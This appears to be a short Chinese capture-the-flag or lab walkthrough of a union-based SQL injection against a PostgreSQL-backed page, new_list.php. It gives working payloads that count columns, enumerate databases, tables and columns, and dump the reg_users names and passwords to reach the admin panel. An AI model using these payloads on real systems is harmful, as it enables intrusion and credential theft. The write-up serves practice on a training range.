1.启动靶场
2寻找注入点
3.测试闭合方式
new_list.php?id=1 and 1=2 //无回显new_list.php?id=1 and 1=1 //回显正常
类型为字符型
4.判断列数
new_list.php?id=1 order by 4 //回显正常new_list.php?id=1 order by 5 //无回显
列数为4
5.寻找回显点
new_list.php?id=1 and 1=2 union select 'null',null,null,null // ⽆回显new_list.php?id=1 and 1=2 union select null,'null',null,null // 回显正常new_list.php?id=1 and 1=2 union select null,null,'null',null // 回显正常new_list.php?id=1 and 1=2 union select null,null,null,'null' // ⽆回显
测试发现只有第⼆第三个字段是前端回显数据字段
6.查询当前数据库、当前⽤户、版本信息
current_database() //当前数据库current_user //当前⽤户version() //版本信息
7.爆出所有的数据库
new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database
8.构造Payload爆指定数据库下的表名
new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
爆出notice,reg_users表
9.查询reg_users表的字段
new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
爆出reg_users表的字段:id,name,password,status
10.查询reg_users表的数据
new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
得到账号和密码
11.解码加密内容
12.登录后台,寻找key
成功!!!